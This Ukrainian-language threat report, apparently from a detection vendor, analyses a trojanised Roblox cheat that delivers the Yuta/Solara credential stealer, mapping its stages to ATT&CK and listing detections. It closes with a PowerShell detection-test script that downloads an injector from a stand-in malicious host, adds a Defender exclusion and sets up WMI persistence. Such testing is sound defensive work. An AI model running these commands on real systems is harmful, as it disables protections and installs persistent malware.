Шахрайські програми з підтримкою штучного інтелекту для Roblox постачають Yuta/Solara Stealer
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Шкідлива програма для чіту Roblox поєднує троянську .NET-інтерфейс із Python-злодієм, упакованим через PyInstaller. Початковий завантажувач послаблює захисти Microsoft Defender, отримує завантаження другого етапу з MediaFire і запускає шкідливе програмне забезпечення, похідне від Glove Stealer, для збору облікових даних, файлів cookie, файлів гаманця та активів, пов’язаних із іграми. Викрадені дані потім виводяться через зашифровані веб-хуки Discord і підтримуються стійким Discord bot RAT.
Розслідування
Звіт надає глибокий статичний аналіз шкідливого ПЗ, включаючи вилучення PyInstaller-навантаження, декомпіляцію байт-коду Python 3.12 та картографування робочого процесу крадіжки облікових даних. Також окреслюється повний багатостадійний процес виконання, методи уникнення захисту, використовувані операторами, та п’ятишаровий підхід до обходу, що націлюється на захист шифрування, прив’язаний до Chrome.
Пом’якшення
Організації повинні блокувати виконання невідомих незарепутованих бінарних файлів, застосовувати суворий список дозволених додатків, стежити за змінами у виключеннях Defender та підозрілими використаннями PowerShell, а також виявляти незвичні завантаження конфігураційних даних з Pastebin. Трафік веб-хуків Discord повинен бути обмеженим або ретельно контролюватися, а захисники повинні стежити за ненормальними запусками Chrome, які використовують прапори, пов’язані з налагодженням.
Реакція
Команди безпеки повинні сповістити про створення winupdate.exe у кеші AppData, підозрілі модифікації ключа запуску реєстру, створення запланованих завдань та незвичайну активність каналів Discord. Шкідливі файли слід помістити в карантин, несанкціоновані виключення Defender видалити, а судово-технічний збір провести на будь-яких сховищах облікових даних, які могли бути зібрані.
"graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef process fill:#bbffbb classDef persistence fill:#ff99cc %% Node definitions action_user_execution["<b>Дія</b> – <b>T1204.002 Виконання користувачем</b><br/>Жертва запускає троянізований WPF-виконавець, замаскований під інструмент чітів Roblox."] class action_user_execution action technique_impair_defenses["<b>Техніка</b> – <b>T1562.001 Ослаблення захисту: Відключення або модифікація інструментів</b><br/>Додає поточний каталог у список виключень Windows Defender через PowerShell та запечатує функції AMSI/ETW."] class technique_impair_defenses technique tool_powershell["<b>Інструмент</b><br/>Скрипт PowerShell використовується для модифікації виключень Defender та запечатки AMSI/ETW."] class tool_powershell tool technique_bypass_uac["<b>Техніка</b> – <b>T1548.002 Зловживання контролем підвищення прав: Обхід UAC</b><br/>Використовує HKCUSoftwareClassesms-settingsShellOpencommand і запускає fodhelper.exe/computerdefaults.exe для отримання виконання з високими правами."] class technique_bypass_uac technique tool_fodhelper["<b>Інструмент</b><br/>fodhelper.exe використовується для обходу UAC."] class tool_fodhelper tool technique_dead_drop["<b>Техніка</b> – <b>T1102.001 Веб-сервіс: Вирішувач Dead Drop</b><br/>Отримує XOR-зашифровану конфігурацію з URL-адрес Pastebin та вирішує посилання на завантаження MediaFire."] class technique_dead_drop technique technique_ingress_tool["<b>Техніка</b> – <b>T1105 Передача інструменту передачі</b><br/>Завантажує вторинний Python-злодій, упакований PyInstaller (winupdate.exe), з MediaFire і зберігає його в %APPDATA%.cachewinupdate.exe з прихованими та системними атрибутами."] class technique_ingress_tool technique process_secondary_payload["<b>Процес</b><br/>winupdate.exe (Python-злодій)"] class process_secondary_payload process technique_cred_browser["<b>Техніка</b> – <b>T1555.003 Облікові дані з веб-браузерів</b><br/>Багатоступеневий обхід шифрування, прив’язаного до програми Chrome (точка налагодження, піднесення COM, подвійне DPAPI, ін’єкція DLL, викрадення реєстру UAC) для отримання розшифрованих куки, токенів та паролів."] class technique_cred_browser technique technique_keylogging["<b>Техніка</b> – <b>T1056.001 Захоплення введення: Кейлогінг</b><br/>Встановлює низькорівневий WH_KEYBOARD_LL хук для захоплення натискань клавіш."] class technique_keylogging technique technique_archive["<b>Техніка</b> – <b>T1560.003 Архівування за допомогою спеціального методу</b><br/>Пакує викрадені файли у ZIP в пам’яті, поділений на фрагменти <=25 МБ."] class technique_archive technique technique_exfiltration["<b>Техніка</b> - <b>T1041 Експілтрація через C2 канал</b><br/>Відсилає фрагменти ZIP на URL веб-хуку Discord."] class technique_exfiltration technique tool_discord_webhook["<b>Інструмент</b><br/>Веб-хук Discord використовується для виведення даних."] class tool_discord_webhook tool technique_discord_rath["<b>Техніка</b> - <b>Discord Bot RAT</b><br/>Використовує розшифрований токен бота Discord та ID каналу для отримання команд віддаленого управління (оболонка, веб-камера, трасування тощо)."] class technique_discord_rath technique technique_persistence["<b>Техніка</b> - <b>T1547.001 Автозапуск при завантаженні/вході в систему</b><br/>Створює заплановане завдання, ключ HKCU Run, скрипт VBS запуску, викрадення COM, запис профілю PowerShell та підписку на події WMI для повторного запуску навантаження після перезавантаження."] class technique_persistence persistence technique_dynamic_resolution["<b>Техніка</b> - <b>T1568 Динамічна резолюція</b><br/>Періодично знову отримує конфігурацію з Pastebin, щоб адаптувати кінцеві точки C2."] class technique_dynamic_resolution technique %% Остаточно action_user_execution -->|викликано| technique_impair_defenses technique_impair_defenses -->|використовує| tool_powershell technique_impair_defenses -->|включає| technique_bypass_uac technique_bypass_uac -->|використовує| tool_fodhelper technique_bypass_uac -->|призводить до| technique_dead_drop technique_dead_drop -->|отримує| technique_ingress_tool technique_ingress_tool -->|зберігає та запускає| process_secondary_payload process_secondary_payload -->|виконує| technique_cred_browser process_secondary_payload -->|виконує| technique_keylogging process_secondary_payload -->|збирає дані для| technique_archive technique_archive -->|підготовлює дані для| technique_exfiltration technique_exfiltration -->|відсилає до| tool_discord_webhook tool_discord_webhook -->|живить| technique_discord_rath technique_discord_rath -->|підтримує канал команд для| technique_persistence technique_persistence -->|встановлює| persistence_mechanisms persistence_mechanisms["<b>Процес</b><br/>Заплановане завдання / Ключ Run / VBS / Викрадення COM / Профіль PowerShell / Подія WMI"] class persistence_mechanisms process technique_persistence -->|підтримує| technique_dynamic_resolution technique_dynamic_resolution -->|оновлює| technique_dead_drop "
Потік атаки
Виявлення
Можливі точки стійкості [ASEPs – Вуллик програмного забезпечення/NTUSER] (через подію реєстру)
Переглянути
LOLBAS WScript / CScript (через створення процесу)
Переглянути
Підозріле редагування виключень Defender (через командний рядок)
Переглянути
Підозрілі бінарні файли/скрипти в місці автозапуску (через подію файлу)
Переглянути
Підозрілы спроби комунікації з доменом Pastebin (через проксі)
Переглянути
IOC (HashSha256) для виявлення: Штучний інтелект ‐ підсилений чіти та викрадені секрети: Розбір інструмента Yuta/Solara для Roblox
Переглянути
Виявлення активної зміни пам’яті у злодії Roblox [Windows Sysmon]
Переглянути
Виявлення маніпуляцій Windows Defender на основі PowerShell [Windows PowerShell]
Переглянути
Ін’екція Roblox та маніпуляції з Windows Defender [Windows створення процесу]
Переглянути
Виконання симуляції
Передумова: Телеметрія та перевірка базових характеристик повинні пройдені.
Обґрунтування: Цей розділ описує точне виконання техніки супротивника (TTP), призначеної для виклику правила виявлення. Команди та нарратив МАЮТЬ безпосередньо відображати ідентифіковані TTP та прагнуть генерувати точну телеметрію, очікувану логікою виявлення.
-
Опис атаки та команди:
- Передача інструменту трубопроводу (T1105): Атакуючий завантажує шкідливий виконавець Roblox (
SLaunch.exe) із зламаного веб-сервера. - Виконання з маніпуляціями Defender (T1548.002): За допомогою PowerShell атакуючий виконує
SLaunch.exeз командним рядком, що викликаєAdd-MpPreference -ExclusionPath "C:Roblox"щоб додати в білий список папку встановлення Roblox, запобігаючи скануванню Windows Defender впровадженого навантаження. - Стійкість (T1546.003/T1547.001): Постійне підписання WMI створюється для повторного запуску
SLaunch.exeпід час запуску системи. - Збір облікових даних (T1056.001, T1555.003): Поки ін’єктор працює, він захоплює натискання клавіш та витягує збережені облікові дані Roblox з браузерів.
- Передача інструменту трубопроводу (T1105): Атакуючий завантажує шкідливий виконавець Roblox (
-
Сценарій регресійного тестування: Наступний сценарій PowerShell відтворює кроки 2–3 і генерує телеметрію, яку очікує правило Sigma.
# ------------------------------------------------------------ # Виконання ін'єктора Roblox + Виключення Defender (Сценарій TC) # ------------------------------------------------------------ # Шляхи (налаштовуйте при необхідності) $injectorPath = "C:TempSLaunch.exe" $defenderExcl = "C:Roblox" # 1. Переконайтеся, що ін'єктор існує (місце скачування) if (-Not (Test-Path $injectorPath)) { Write-Host "Завантаження шкідливого ін'єктора..." Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath } # 2. Виконати ін'єктор з командним рядком виключення Defender $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`"" Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow # 3. Створіть постійне підписання подій WMI для стійкості $wmiFilter = @" SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'SLaunch.exe' "@ $filterPath = "ROOTDEFAULT" $filterName = "RobloxInjectorFilter" $consumerName = "RobloxInjectorConsumer" # Реєстрація фільтра $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter ` -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' } # Реєстрація споживача командного рядка $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer ` -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" } # Прив'язка фільтра до споживача Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding ` -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH } Write-Host "Симуляція завершена – телеметрія виявлення має бути згенерована." -
Команди очищення: Видаліть виключення Defender та підписку WMI, створені вище.
# Видалити виключення Defender Remove-MpPreference -ExclusionPath "C:Roblox" # Видалити фільтр WMI та споживача $filterPath = "ROOTDEFAULT" Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding ` -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject # Видалити бінарний файл ін'єктора Remove-Item -Path "C:TempSLaunch.exe" -Force